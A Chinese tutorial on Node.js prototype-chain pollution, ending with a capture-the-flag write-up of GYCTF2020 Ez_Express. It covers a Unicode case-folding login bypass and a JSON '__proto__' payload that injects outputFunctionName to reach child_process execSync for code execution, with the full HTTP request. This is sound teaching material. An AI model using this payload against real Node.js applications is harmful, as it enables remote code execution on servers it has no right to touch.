Nodejs原型链污染

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蚁景网安实验室
     湖南
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    Nodejs与JavaScript和JSON

    有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别，如果没有node，那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能（最出名的就是google的v8）， 这也是为什么我们能在f12中直接执行JavaScript的原因。 而Nodejs则是由这个解析器单独从浏览器中拿出来，并进行了一系列的处理，最后成为了一个可以在服务端运行JavaScript的环境。 这里看到一个很好的例子，学过java的师傅应该就明白了。

    image-20230209153259695

    那么JSON又是什么呢？简单概括一下就是JavaScript的对象表示方法，它表示的是声明对象的一种格式， 由于我们从前端接收到的数据基本都是字符串，因此在服务端如果要将这些字符串处理为其他格式，比如对象，就需要用到JSON了。

    image-20230209153332651

    原型对象（prototype）与原型连接点（__proto__）与原型链

    image-20230209153339234

    在c++或java这些面向对象的语言中，我们如果想要一个对象，首先需要使用关键字class声明一个类，再使用关键字new一个对象出来，但是在JavaScript中没有class以及类这种概念（为了简化编写JavaScript代码，ECMAScript 6后增加了class语法，但class其实只是一个语法糖）。 在JavaScript有这么两种声明对象的方式，为了好理解我们先引入类的思想。

    person=new Object()
person.firstname="John";
person.lastname="Doe";
person.age=50;
person.eyecolor="blue";

这种创建对象的方法还有另一种写法 如下
person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};

这种方法通过直接实例化构造方法Object()来创建对象
function person(firstname,lastname,age,eyecolor)  这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器
{
    this.firstname=firstname;
    this.lastname=lastname;
    this.age=age;
    this.eyecolor=eyecolor;
}
var myFather=new person("John","Doe",50,"blue");    通过这个“类”实例化对象
var myMother=new person("Sally","Rally",48,"green");

这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释

    既然是通过实例化Object来创建对象或创建构造函数，在JavaScript中有两个很特殊的对象，Function() 和 Object() ，它们两个既是构造函数也是对象，作为对象是不是应该有一个“类”去作为他们的模板呢？

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    对于Object()来说，要声明这么一个构造函数我们可以使用关键字function来创建 。（在底层 使用function创建一个函数 其实就相当于这个过程）

    function Object()
{

}
在底层为
var Object = new Function();

    那么对于Function自己这个对象，他是怎么来的呢？如果用Function.__proto__和Function.prototype进行比较，发现二者是全等的，所以Function创造了自己，也创造了Object，所以JavaScript中，所有函数都是对象，而对象是通过函数创建的。因此构造函数.prototype.__proto__应该是Object.prototype，而不是Function.prototype，Function的作用是创建而不是继承。

    image-20230209153347889

    image-20230209153353005

    那么提到了__proto__和prototype我们就来说说这两个是什么东西。

    首先我们要了解以下概念：

    __proto__是任何一个对象拥有的属性

    prototype是任何一个函数拥有的一个属性

    比如

    person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};

    那么这个person对象就拥有了person.__proto__这个属性，而Object()我们刚才提到了是由Function创建来的一个构造函数，那么Object就天生有了Object.prototype。

    1.某一对象的 __proto__指向它的prototype（原型对象）， 也就是说如果直接访问person.__proto__ 那么就相当于访问了Object.prototype。

    2.JavaScript使用prototype链实现继承机制。

    3.构造函数xxx.prototype是一个对象，xxx.prototype也有自己的__proto__属性，并且可以继续指向它的的prototype。

    4.Object.prototype.proto最终指向null，这也是所有原型链的终点。

    5.从一个对象的__proto__不断向上指向原型对象，最终指向Objecct.prototype后，接着指向为Null，这一条链子就叫做原型链。

    如果我们有如下代码：

    function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

    那么按照上述说法 就有如下结构

    image-20230209153400235

    对于对象son，在调用son.last_name的时候，实际上JavaScript引擎会进行如下操作：

    1. 在对象son中寻找last_name。
    2. 如果找不到，则在son.__proto__中寻找last_name。
    3. 如果仍然找不到，则继续在son.__proto__.__proto__中寻找last_name。
    4. 依次寻找，直到找到null结束。

    原型链污染

    举个栗子

    // 这个对象直接实例化Object()
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型（即Object）
foo.__proto__.bar = 2

// 由于查找顺序的原因，foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

    image-20230209153407020

    这里由于修改了foo.__proto__.bar 也就是修改了Object.bar，因此在后续的实例化对象中，新的对象会继承这一属性 造成了原型链污染。

    在实际应用中，哪些情况下可能存在原型链能被攻击者修改的情况呢？

    我们思考一下，哪些情况下我们可以设置__proto__的值呢？其实找找能够控制数组（对象）的“键名”的操作即可。

    看下面代码，一个简单的对象clone：

    function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {  
            // 如果target与source有相同的键名 则让target的键值为source的键值
            merge(target[key], source[key])
        } else {
            target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
        }
    }
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

    image-20230209153412321

    这里执行后发现，虽然两个对象成功clone，但是Object()并没用被污染，这是因为在创建o2时， __proto__是已经存在于o2中的属性了，解析器并不能将这个属性解析为键值，所以要用JSON去修改代码（前面我们说了 JSON是JavaScript的对象表示方法 可以将字符串转换为对象）， 这样就可以使__proto__被成功解析成键名了。

    let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

    image-20230209153417237

    漏洞复现

    [GYCTF2020]Ez_Express

    进入环境之后是一个登录页面，测试之后发现存在www.zip源码泄露，开始审计index.js

    var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

    看下面两段代码

    function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}
router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});

    只有用admin登录才会return，keyword 否则返回undefined，返回undefined就会弹窗forbid word，如果username经过toUpperCase后不能与原来的匹配，或password错误，就会弹窗error passwd，这也是为什么题中说用户名只支持大写。

    再看这段，就很恶心，如果username为ADMIN就不能登录，又不让用admin，又得用admin登录，这里就用到了JavaScript大小写的漏洞。

    if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}

    所以用ADMıN来绕过，注意不是ADMiN，中间那个i是一个奇怪的字符，把username输入ADMıN直接注册就可以了（题目环境怪怪的 有的时候ADMıN 不行就试试admın），登录进去还给了flag的位置。

    image-20230209153447746

    image-20230209153452310

    这里试了试没啥用，继续看源码，上面提到了 merge clone操作可以控制键值和键名，从而达到污染。

    const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }

    往下看找到调用clone的位置

    router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

    也就是说我们可以在action路由下通过请求体来进行污染，原型链污染的位置找到了，接下来就是要找到可以用来控制键名和键值的对象。

    看到这段：

    router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

    render函数应该不陌生，在模板注入攻击（SSTI）中很常见， 这里将回显req的outputFunctionNmae渲染到了index中，那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢？代码跟下来我们发现并没有outputFunctionName这个东西，也就是说它是我们可以用来污染原型链的载体，如果把Object的prototype中加上键名为outputFunctionName，键值为恶意payload的属性，那么在进行模板渲染时，是不是就会执行我们的恶意payload？

    但是我们考虑一个问题，如何去修改Object的prototype ？（确实是可以的 但是有点麻烦 下面参考文章的最后一篇就是直接修改Object的prototypr）我们重新回到这段代码：

    router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

    发现请求体被clone到了req.session.user.data中，对于req.session.user这个对象来说，它的__proto__属性是不是就是Object的prototype，所以我们可以修改了这个对象的__proto__从而达到目的。

    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }

    SSTI的payload我也不是很懂，反正原理都是不断调用原型对象，最后找到一个可以用来rce的函数，payload和CVE-2019-10744是一样的，直接搬来用了。

    {"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}

    污染成功后在info路由下调用res.outputFunctionName时，就像上面调用son.last_name的过程一样，最终调用到了Object的outputFunctionName ，并且要让__proto__为键名，要用JSON格式，所以要用burp拦包添加content type（在进行POST传参时必须有该头） 放个包做个参考，记得路由和传参方式也要改 再传payload。

    POST /action HTTP/1.1
Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MY
Content-Type: application/json
Connection: close
Content-Length: 137

{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}

    在action路由下污染成功后，应该接着访问info路由进行SSTI，但是不知道为啥，我包发过去直接给flag了。

    image-20230209153459579

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